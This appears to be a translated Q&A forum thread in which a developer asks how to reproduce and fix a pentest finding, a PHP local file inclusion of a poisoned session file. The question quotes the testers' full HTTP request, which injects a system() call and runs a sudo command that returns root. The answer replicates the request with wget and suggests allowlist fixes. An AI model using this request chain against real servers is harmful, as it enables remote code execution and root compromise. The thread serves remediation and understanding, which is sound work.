Saran temuan Pentest
Saya jauh dari kedalaman saya di sini. Kami baru saja menyelesaikan pentest, dan kami memiliki satu temuan penting:
if (file_exists($includeFile)) { $f_type = filetype($includeFile); if ($f_info['extension'] == 'md') {
$markdown = file_get_contents($includeFile);
HTMLClass::show($markdown, FALSE, FALSE, FALSE, TRUE); } else { require_once($includeFile);
}
}
Kita dapat mengaktifkan open_basedirPHP sebagai perbaikan parsial (mungkin?) Tetapi saya yakin masih banyak yang harus dilakukan.
Saya ingin memperbaikinya, tetapi tidak tahu bagaimana menafsirkan atau mereproduksi temuan mereka atau mulai dari mana dengan memperbaiki. Saya tidak mengerti di bawah ini:
Essentially the code above means that sending php[file]=/../../../arbitrary_file as POST payload, the
application will pick the value from the specified parameter and include it as a file from the file
system. If it happens to contain PHP code, it will be parsed and executed.
To exploit this behavior, an attacker can attempt to fill his session variable with PHP code. In
this case it is sufficient to issue a request which causes the session file on the server to be
filled with the PHP contents of the query string (shown below) that, when included, result in
arbitrary code being run remotely.
Rupanya mereka membuat permintaan berikut:
POST /?page=Welcome<?php+echo+123;system($_POST[xxx]);?> HTTP/1.1
Host: my.host.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://my.host.com/?page=Welcome
Cookie: PHPSESSID=13371
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc 'su -c "echo \"some-password\" | sudo -S id" - a-username'
Ternyata ini menghasilkan:
[...]
MB";s:27:"memory_get_peak_usage(TRUE)";s:6:"2.5 MB";}i:4;a:9:{s:2:"id";i:4;s:5:"title";s:58:"$_GET start - Welcome123<br /><b>Notice</b>: Use of undefined constant xxx - assumed 'xxx' in <b>/var/lib/php5/sess_testtesta</b> on line <b>1</b><br />
Password:
[sudo] password for root: uid=0(root) gid=0(root) groups=0(root)";s:9:"backtrace";s:14:"a-file.php
[...]
Apa php[file]dalam konteks ini? Dan bagaimana hal itu dapat digunakan untuk melakukan apa yang mereka katakan telah dilakukan? Yang bisa saya temukan dengan POST dan PHP di dekat kode kami adalah di bawah ini, dalam file JS.
$.post("",{
php: "some-file.php",
id: RecID
}
Tidak yakin bagaimana hubungannya satu sama lain? Atau bahkan jika ya?
Saya harap informasi di atas cukup, karena hanya itu yang harus saya kerjakan. Catatan: Saya memang mengubah beberapa info sensitif dalam permintaan, tetapi hanya nama host dan semacamnya, tidak ada lagi yang bisa menjadi material (menurut saya).
Bagaimana saya dapat mensimulasikan pengujian mereka dan mengamankan kode kami?
Edit
Saya tahu itu php[file]adalah array, tetapi apakah nama tertentu penting dalam kasus ini? Atau dapatkah itu disebut foo[bar]dan memiliki efek yang sama? Dan bagaimana menyediakan array ini dalam POST menyebabkan hal ini? Bagaimana cara mensimulasikan POST ini? Saya tidak mendapatkan hasil mereka menggunakan Postman, mungkin karena saya salah melakukannya.
Edit 2
Saya mendapat umpan balik lebih lanjut dari pengembang asli:
Pertama-tama mereka mendapatkan ID sesi saat ini
Mereka kemudian menggunakan "? Page = ..." untuk menambahkan kode php ke file sesi. Ini sebenarnya kuncinya. Melalui variabel sesi mereka memiliki kekuatan untuk menulis ke file pada disk. File yang nama dan lokasinya diketahui, karena berisi ID sesi.
Dan kemudian mereka memasukkan file itu ke dalam panggilan $ _POST ['php'], konten PHP di dalamnya akan dieksekusi (ini tentu saja merupakan lubang keamanan utama, ODB memungkinkan pengguna menyertakan dan menjalankan file apa pun), termasuk panggilan apa pun ke "sistem" .
Panggilan khusus mereka ke "sistem" mengeksekusi konten $ _POST ['xxx'], yang juga mereka definisikan dalam panggilan tersebut - di sana mereka menggunakan nama pengguna dan sandi yang mereka akses.
Jika kami menghapus kemungkinan untuk menyertakan dan mengeksekusi file PHP apa pun, dan jika kami memeriksa lebih teliti apa yang sebenarnya kami simpan di variabel sesi maka kami akan aman.
Itu juga mengapa itu harus dikirim dua kali - konten masuk ke file sesi hanya setelah eksekusi pertama!
Jawaban
php[file]mendefinisikan array bernama php dengan entri bernama file(dan nilai /../../../../../../var/lib/php5/sess_13371)
Agaknya, Anda mengisi $includeFileseperti
$includeFile = "app/includes/" . $php['file'];
Yang kemudian akan menjadi sesuatu seperti "app / termasuk /../../../../../../ var / lib / php5 / sess_13371 and end up reading (and since it is treated as php, executing)/ var / lib / php5 / sess_13371`.
Anda tidak boleh mempercayai pengguna untuk menyediakan file untuk dieksekusi. Idealnya, Anda akan memiliki daftar kecil nilai yang diizinkan, yang kemudian dapat Anda petakan ke file yang sesuai.
Jika mencoba membuat perubahan sekecil mungkin, saya mungkin akan melakukan preg_match('/^[A-Za-z]+\.php$', <parameter>);untuk menyaring bahwa mereka hanya dapat memuat file pada satu folder (misalkan ada folder dengan itu dan hanya file itu, aman untuk dieksekusi).
Bagian di mana Anda memeriksa apakah itu file penurunan harga untuk menunjukkannya dengan cantik membuat saya bingung. Jika ini adalah file yang disediakan oleh pengguna, dan bukan file statis dari aplikasi Anda, Anda tidak ingin menjalankannya sebagai php. Anda mungkin menggunakan readfileuntuk meneruskannya ke layar, bukan require/ include!
Meski begitu, itu masih memungkinkan injeksi javascript, yang bisa Anda selesaikan dengan sesuatu seperti echo htmlspecialchars(file_get_contents($includeFile));. Dan tanpa kontrol dari jalur yang disediakan, itu masih akan memungkinkan penyerang yang mengontrol nama file untuk membaca file yang seharusnya tidak mereka baca (seperti /etc/passwed, atau file konfigurasi aplikasi Anda).
Pembaruan: cara mereplikasi permintaan mereka
Anda dapat mereplikasi permintaan di atas menggunakan beberapa alat. Misalnya, menggunakan wget:
wget 'https://my.host.com/?page=Welcome<?php+echo+123;system($_POST[xxx]);?>' U 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' --header 'Accept: /' --header 'Accept-Language: en-US,en;q=0.5' --header 'Accept-Encoding: gzip, deflate' --header 'X-Requested-With: XMLHttpRequest' --header 'Referer: https://my.host.com/?page=Welcome' --header 'Cookie: PHPSESSID=13371' --post-data='php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc %27su -c "echo \"some-password\" | sudo -S id" - a-username%27'
(sebagian besar header tidak akan relevan dengan masalah yang sedang dihadapi)
Ditambah jelas, Anda selalu dapat langsung menyalin permintaan menggunakan netcat ( nc) atau -dengan https- openssl s_clientatau gnutls-cli.
PHP menyimpan data sesi dalam file. Di server Anda, ini menyimpannya di / var / lib / php5 /. File tersebut akan disebut sess_ [id sesi]. ID sesi dalam hal ini adalah nilai cookie PHPSESSID. Lihat juga:
https://stackoverflow.com/questions/15852537/how-phpsessid-are-saved
Jadi mereka telah mengubah nilai cookie PHPSESSID menjadi '13371'. Ini membuat PHP membuat file / var / lib / php5 / sess_13371.
PHP akan menyimpan halaman saat ini yang Anda kunjungi di penyimpanan sesi, jadi di file sesi. Dalam kasus ini, mereka mengunjungi URL:
/?page=Welcome<?php+echo+123;system($_POST[xxx]);?>
PHP akan menyimpan variabel halaman ini dalam file sesi (/ var / lib / php5 / sess_13371) dalam teks biasa bersama dengan beberapa hal biner di sekitarnya. Jadi file sesi sekarang memiliki konten yang mirip dengan:
[binary stuff]page=Welcome<?php+echo+123;system($_POST[xxx]);?>[binary stuff]
Sekarang, karena kerentanannya, mereka dapat memanggil require_once pada file ini, menghasilkan PHP yang mengeksekusinya ( php[file]adalah variabel yang akan berakhir sebagai variabel $includeFiledalam kode). PHP tidak peduli tentang apa pun yang tidak ada di dalam tag PHP (<?). Jadi, itu akan dieksekusi echo 123; system($_POST[xxx]);.
systemakan menjalankan perintah sistem apa pun, yang dalam hal ini ditentukan oleh variabel POST xxx. Jadi mereka tinggal bilang xxx=whoami, untuk menjalankan perintah whoami. Apakah itu masuk akal?